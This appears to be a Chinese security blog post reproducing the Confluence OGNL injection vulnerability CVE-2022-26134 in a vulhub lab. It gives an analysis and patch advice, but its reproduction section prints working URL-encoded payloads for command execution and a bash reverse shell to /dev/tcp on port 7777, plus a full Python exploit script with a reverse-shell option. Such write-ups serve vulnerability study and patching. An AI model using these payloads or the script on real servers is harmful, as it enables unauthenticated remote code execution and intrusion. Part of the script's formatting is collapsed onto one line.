CVE-2022-26134漏洞复现

admin 2022年6月27日08:26:59评论128 views字数 6944阅读23分8秒阅读模式

CVE-2022-26134漏洞复现

戟星安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约5700字,阅读约需10分钟。


CVE-2022-26134漏洞复现

0x00 漏洞描述


在受影响的 Confluence Server Data Center 版本中,存在一个 OGNL表达式注入漏洞,该漏洞允许未经身份验证的攻击者在 Confluence Server Data Center 实例上执行任意代码


CVE-2022-26134漏洞复现

0x01 影响版本

Confluence Server and Data Center >= 1.3.0Confluence Server and Data Center < 7.4.17onfluence Server and Data Center < 7.13.7Confluence Server and Data Center < 7.14.3Confluence Server and Data Center < 7.15.2Confluence Server and Data Center < 7.16.4Confluence Server and Data Center < 7.17.4Confluence Server and Data Center < 7.18.1



CVE-2022-26134漏洞复现

0x02 漏洞分析


通过官方给出的修复方案可以看出漏洞触发点应该是在 xwork 这个jar包里,通过对比其中的 xwork 组件发现在idea中在 final OgnlValueStack stack = ActionContext.getContext().getValueStack();这一行打个断点,执行payload触发命令执行,发现执行成功,再通过查看调用栈发现requestDispatcherPath 变为/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(“whoami”).getInputStream(),“utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Response”,#a))}/index.action
函数invoke尝试通过next获取下一个拦截器对象,然后调用其intercept方法,大部分Interceptor对象的intercept函数格式,继续调用DefaultActionInvocation#invoke,从而形成迭代循环。但是在调试中我们发现也有特殊的一些Interceptor,比如ConfluenceAccessInterceptor,当满足一定条件时并不会继续调用DefaultActionInvocation#invoke,而是返回字符串notpermitted,主要是通过请求的*.action和methdName,来判断当前用户currentUser是否有访问权限。也就是说,当访问一个无权访问的*.action时,DefaultActionInvocation#invoke在迭代调用到ConfluenceAccessInterceptor#intercept后,将返回notpermitted并赋值给resultCode,从而跳出迭代。我们替换测试请求为/index.action。

当处理到ConfluenceAccessInterceptor拦截器时,将不会继续迭代调用下一个拦截器,而是继续往下走,进入executeResult函数,进入ActionChainResult#execute 提取namespace参数,并调用translateVariables函数,OGNL 表达式解析过程,前面分析中可知,namespace参数通过ServletDispatcher#getNameSpace函数获取,可见namespace取值为请求servletPath最后一个/之前的部分,根据上面正则表达式规则,要想触发 OGNL 解析,我们很容易构造出相应的 URL【所以进行url编码】 成功触发 OGNL 表达式注入。


CVE-2022-26134漏洞复现

0x03 漏洞复现


组件

版本

kali

vulhub-master


基础环境

启动漏洞环境:

cd /vulhub-master/confluence/CVE-2022-26134


CVE-2022-26134漏洞复现

sudo dockers-compose up -d


CVE-2022-26134漏洞复现

环境启动后访问http://your-ip:8090,会进入安装引导,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书


CVE-2022-26134漏洞复现

填写邮箱后会发送一条邮件,然后按步骤完成注册


CVE-2022-26134漏洞复现


CVE-2022-26134漏洞复现


注册完毕后获取key


CVE-2022-26134漏洞复现


得到key后,在http://your-ip:8090界面输入key


CVE-2022-26134漏洞复现

CVE-2022-26134漏洞复现

跳转到填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres


CVE-2022-26134漏洞复现

CVE-2022-26134漏洞复现

CVE-2022-26134漏洞复现


CVE-2022-26134漏洞复现

搭建成功,返回登录


CVE-2022-26134漏洞复现

CVE-2022-26134漏洞复现

漏洞验证

使用burpsuite抓包,修改OGNL表达式,使用url进行编码且构造数据包

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}


GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1Host: 192.168.42.71:8090Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=1BCE0EF1C47E7DCAECF490BF52AAE968Connection: close

发现响应中显示代码执行的结果


CVE-2022-26134漏洞复现

CVE-2022-26134漏洞复现

CVE-2022-26134漏洞复现


深度利用

getshell

攻击payload,且进行url编码改包

${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/ tcp/192.168.42.71/7777 0>&1').start()")}


GET /%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.42.71/7777%200%3E%261%27%29.start%28%29%22%29%7D/ HTTP/1.1Host: 192.168.42.71:8090Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=1BCE0EF1C47E7DCAECF490BF52AAE968Connection: close


CVE-2022-26134漏洞复现

CVE-2022-26134漏洞复现


exp反弹shell


CVE-2022-26134漏洞复现

CVE-2022-26134漏洞复现

EXP 编写

#!/usr/bin/python3  # coding: utf-8  # cve2022-26134  # by: lxxl  import urllib  import requests  import re  import sys  from bs4 import BeautifulSoup  import urllib3  urllib3.disable_warnings()  import argparse  def check(url):    r = requests.get(url + "/login.action", verify=False)    if (r.status_code == 200):        filter_version = re.findall("<span id='footer-build-information'>.*</span>", r.text)        if (len(filter_version) >= 1):            version = filter_version[0].split("'>")[1].split('</')[0]            return version        else:            return False    else:        return url  def exploit(url, command):    headers = {        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',        'Content-Type': 'application/x-www-form-urlencoded',        'Accept': '*/*',    }    r = requests.get(        url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22' + command + '%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/',        headers=headers, verify=False, allow_redirects=False)    if (r.status_code == 302):        return r.headers['X-Cmd-Response']    else:        return False  def shell():        shell = ip + "/" + port        shell1 = "'bash','-c','bash -i >& "        exp = shell1 + "/dev/tcp/"  + shell + " 0>&1'"        payload1 = '''${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('''        payload2 = exp + ''').start()")}/'''        payloads = payload1 + payload2        s = urllib.parse.quote(payloads)        return s  if __name__ == "__main__":    parser = argparse.ArgumentParser(description='cve2022-26134')    parser.add_argument('-u', '--url', help='target url', required=False)    parser.add_argument('-c', '--command', help='command', required=False)    parser.add_argument('-i', '--lhost', help='type', required=False)    parser.add_argument('-p', '--lport', help='type', required=False)    args = parser.parse_args()    cmd = args.command    ip = args.lhost    port = args.lport    if (len(sys.argv) < 3):        print("USE: python3 " + sys.argv[0] + " -u https://target.com -c command")        print("ex: python3 " + sys.argv[0] + " -u https://target.com -i  your.ip -p your.port")
if (sys.argv[3] == "-i"): target = args.url ip = args.lhost port = args.lport e = requests.get(target + shell()) if e.status_code == 200 or e.status_code == 302: print("[+] exploit success") else:                    print("[-] exploit failed") else: target = args.url cmd = cmd.replace("'", "") version = check(target) print("============ GET Confluence Version ============") if (version): print("Version: " + version) else: print("Version: Not Found") print(exploit(target, cmd))


CVE-2022-26134漏洞复现

0x04 修复建议


升级Atlassian Confluence Server and Data Center至安全版本。

临时缓解方案:下载官方发布的xwork-1.0.3-atlassian-10.jar替换confluence/WEB-INF/lib/目录下原来的xwork jar文件,并重启Confluence。


 声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


CVE-2022-26134漏洞复现

戟星安全实验室

# 长按二维码 关注我们 #



原文始发于微信公众号(戟星安全实验室):CVE-2022-26134漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日08:26:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-26134漏洞复现http://cn-sec.com/archives/1141482.html

发表评论

匿名网友 填写信息